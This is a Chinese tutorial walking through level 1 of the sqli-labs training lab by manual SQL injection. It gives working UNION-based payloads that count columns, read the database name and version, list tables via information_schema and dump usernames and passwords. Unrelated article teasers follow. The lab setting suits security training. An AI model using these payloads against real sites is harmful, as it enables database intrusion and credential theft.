SQL注入(sqli-labs第一关)

sqli-labs第一关

方法一:手工注入

来到第一关,图上说我们需要一个数字的参数

img

于是我们先手工注入?id=1 and 1=1 跟?id=1 and 1=2发现页面没有报错

每张截图上面页面中有select查询语句,这是我在第一关的源码中加上了echo "$sql ";  为了能够跟清楚的了解sql注入的原理

img

于是我们来判断一下是否为字符型注入,尝试?id=1'发现页面报错,此题应该为字符型注入

img

于是我们拼接字符串?id=1' and '1'='1页面回显正常

img

然后我们使用order by来确定表中的列数,为什么我们要确定表中字段的列数呢?是因为我们的union联合查询

联合查询特点:

1、要求多条查询语句的查询列数是一致的! 2、要求多条查询语句的查询的每一列的类型和顺序最好一致 3、union关键字默认去重,如果使用union all 可以包含重复项

于是我们构造?id=1' and '1'='1' order by 1--+  页面回显正常

      ?id=1' and '1'='1' order by 2--+  页面回显正常

      ?id=1' and '1'='1' order by 3--+  页面回显正常

      ?id=1' and '1'='1' order by 4--+  出现报错界面

img

然后我们就确定了字段数,于是用联合查询?id=-1' union select 1,2,3--+    (将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位

img

这样我们就看到了2,3这两个回显位

然后我们利用union查询,查看数据库的版本和数据库名,这里面我们再补充点知识点

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

当我们简单了解了这个之后,我们再进行下面的步骤,相信大家有了深刻的理解

接下来利用这两个回显位来查询数据库,和数据库版本信息

?id=-1' union select 1,database(),version()--+

img

然后我们知道了数据库是security,版本信息:5.7.26

再爆表之前我们先了解一波知识点:

information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名

然后我们利用union查询来爆出表面宁

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

于是我们爆出了表名

img

然后,由我们正常的思维,我们的账号和密码肯定在一张表上,我们看到了users表,

于是我们查看一下这张表的字段名

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

img

我们看到了username和password字段,

然后我们就去查询字段信息

?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3030097.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

信息技术自主可控的意义,针对国产化替换,服务器虚拟化或比公有云更具优势

我们之前在文章《博通收购VMware后,经销商和用户如何应对?新出路:虚拟化国产替代,融入信创云生态》中提到: 从信创整体发展和政策标准来看,供应商必须满足两个条件:一是融入国产信息技术生态&am…

换新机,统信UOS V20桌面专业版(1070)教你轻松搞定数据迁移丨年度更新

硬件装备升级,数据如何快速迁移? 规模化汰换PC,怎样实现便捷部署? 统信UOS V20桌面专业版(1070) 带来两大换机神器! 整机备份、数据迁移 手把手帮你轻松构建新质生产力工具! 一键克…

短信群发公司通道有哪些要求

短信群发公司通道有哪些要求 网络稳定性 短信群发公司的通道在进行时需要具备良好的网络稳定性。这意味着通道需要能够稳定连接到互联网,并具备高速传输能力。在网络不稳定或者传输速度慢的情况下,可能会受到影响,甚至导致失败。 高可靠性 …

【算法入门赛】B. 自助店评分(C++、STL、推荐学习)题解与代码

比赛地址:https://www.starrycoding.com/contest/8 题目描述 在上一场的入门教育赛中,牢 e e e找到了所有自助店的位置,但是他想发现一些“高分好店”,于是他利用爬虫技术从“小众点评APP”中爬取了武汉所有自助店的评分。 评分…

《ESP8266通信指南》15-MQTT连接、订阅MQTT主题并打印消息(基于Lua|适合新手|非常简单)

往期 《ESP8266通信指南》14-连接WIFI(基于Lua)-CSDN博客 《ESP8266通信指南》13-Lua 简单入门(打印数据)-CSDN博客 《ESP8266通信指南》12-Lua 固件烧录-CSDN博客 《ESP8266通信指南》11-Lua开发环境配置-CSDN博客 《ESP826…

面试中算法(找到两个数组的中位数)

有两个升序数组,如何找出这两个数组归并以后新的升序数组的中位数? 中位数把一个升序数组分成了长度相等的两部分,其中左半部分的最大值永远小于或等于右半部分的最小值。 如上图所示,对于偶数长度的数组,可以根据中位数分成长度…

一文了解webpack和vite中Tree-Shaking

1、什么是Tree-Shaking 1.1 摇树优化(Tree Shaking)是Webpack中一种用于优化JavaScript代码的技术。它的目标是通过静态分析,从代码中剔除未被使用的模块,从而减少最终打包文件的大小。 1.2 Tree-shaking 它的名字来源于通过摇晃…

物联网技术在数字化工厂中的应用,你知道多少?——青创智通

工业物联网解决方案-工业IOT-青创智通 物联网(IoT)技术在数字化工厂的应用正日益成为工业革命的重要推动力。随着科技的飞速发展,物联网技术不断革新,其在数字化工厂中的应用也呈现出愈发广泛和深入的态势。本文将详细探讨物联网…

传输层之 TCP 协议

TCP协议段格式 源/目的端口号:表示数据是从哪个进程来,到哪个进程去。 序号:发送数据的序号。 确认序号:应答报文的序号,用来回复发送方的。 4 位首部长度:一个 TCP 报头,长度是可变的&#xff…

Android 屏幕适配全攻略(上)-掌握屏幕单位,应对千变万化的设备

本文从 Android 开发中常见的长度单位 px、dp、sp 入手,详细介绍了它们的特点及转换关系。 接着深入探讨了屏幕尺寸、分辨率、像素密度等重要的屏幕指标,帮助读者全面理解它们之间的联系。最后,通过实例代码演示了如何在代码中进行单位转换&…

第一章 buffer cache管理 - 2 原理机制

本章节主要介绍缓冲区管理器机制,从原理上介绍共享缓冲区如何管理内存页。 1、缓冲区管理器的结构 PostgreSQL缓冲区管理器由缓冲区hash表、缓冲区buffer描述符和缓冲池组成。下面依次介绍这几个结构。 1.1 缓冲区标签 typedef struct buftag {RelFileNode rnod…

Python运维之协程

目录 一、定义协程 二、并发 三、异步请求 协程是一种轻量级的线程,它通过保存和恢复寄存器上下文和栈来实现调度切换,从而保留函数执行的状态。 这种机制使得协程在处理I/O密集型任务时效率较高,因为它们可以在I/O操作期间让出CPU&#…

5g视频彩信和普通彩信有什么区别

5G视频彩信和普通彩信有什么区别 随着科技的不断进步,手机通信技术也在迅速发展。5G技术的出现,为彩信传输提供了更高的速度和更广的带宽。在这种背景下,5G视频彩信和普通彩信成为了人们关注的焦点。本文将探讨这两种彩信的区别。 5G视频彩信…

Java数组的应用---选择排序(Select Sort)

一、需求:选择排序(Select Sort),进行升序显示 在一组排列中把最大的数取出来放在一个新的列表里,再删去,在取最大的数出来,依次类推直到取到最后一个数字 二、定义一个无序的一维数组,并输出数组 程序运…

BBS客户端服务器的编写

根据网络编程中的内容,我们本篇文章将讲解一个bbs通信的项目,首先让我们了解一下什么是bbs. 一、bbs介绍 BBS,即Bulletin Board System的缩写,中文译为“电子公告板系统”或“网络论坛”。它是一个在网络上进行信息交流和讨论的…

重装前端整体流程

用户管理 --汇总 -- 明细-CSDN博客 一、node 这个看环境变量 2023最新版Node.js下载安装及环境配置教程(非常详细)从零基础入门到精通,看完这一篇就够了_nodejs安装及环境配置-CSDN博客 配置到国内镜像的时候,去看,淘…

代码随想录算法训练营第六十二天|503.下一个更大元素II、42.接雨水

代码随想录算法训练营第六十二天|503.下一个更大元素II、42.接雨水 503.下一个更大元素II 给定一个循环数组 nums ( nums[nums.length - 1] 的下一个元素是 nums[0] ),返回 nums 中每个元素的 下一个更大元素 。 数字 x 的 下一个更大的元…

小程序(三)

十三、自定义组件 (二)数据方法声明位置 在js文件中 A、数据声明位置:data中 B、方法声明位置methods中,这点和普通页面不同! Component({/*** 组件的属性列表*/properties: {},/*** 组件的初始数据*/data: {isCh…

【系统架构师】-案例篇(七)信息安全

某软件公司拟开发一套信息安全支撑平台,为客户的局域网业务环境提供信息安全保护。该支撑平台的主要需求如下: 1.为局域网业务环境提供用户身份鉴别与资源访问授权功能; 2.为局域网环境中交换的网络数据提供加密保护; 3.为服务…

26、Qt使用QFontDatabase类加载ttf文件更改图标颜色

一、图标下载 iconfont-阿里巴巴矢量图标库 点击上面的链接,在打开的网页中搜索自己要使用的图标,如:最大化 找到一个自己想用图标,选择“添加入库” 点击“购物车”图标 能看到刚才添加的图标,点击“下载代码”(需要…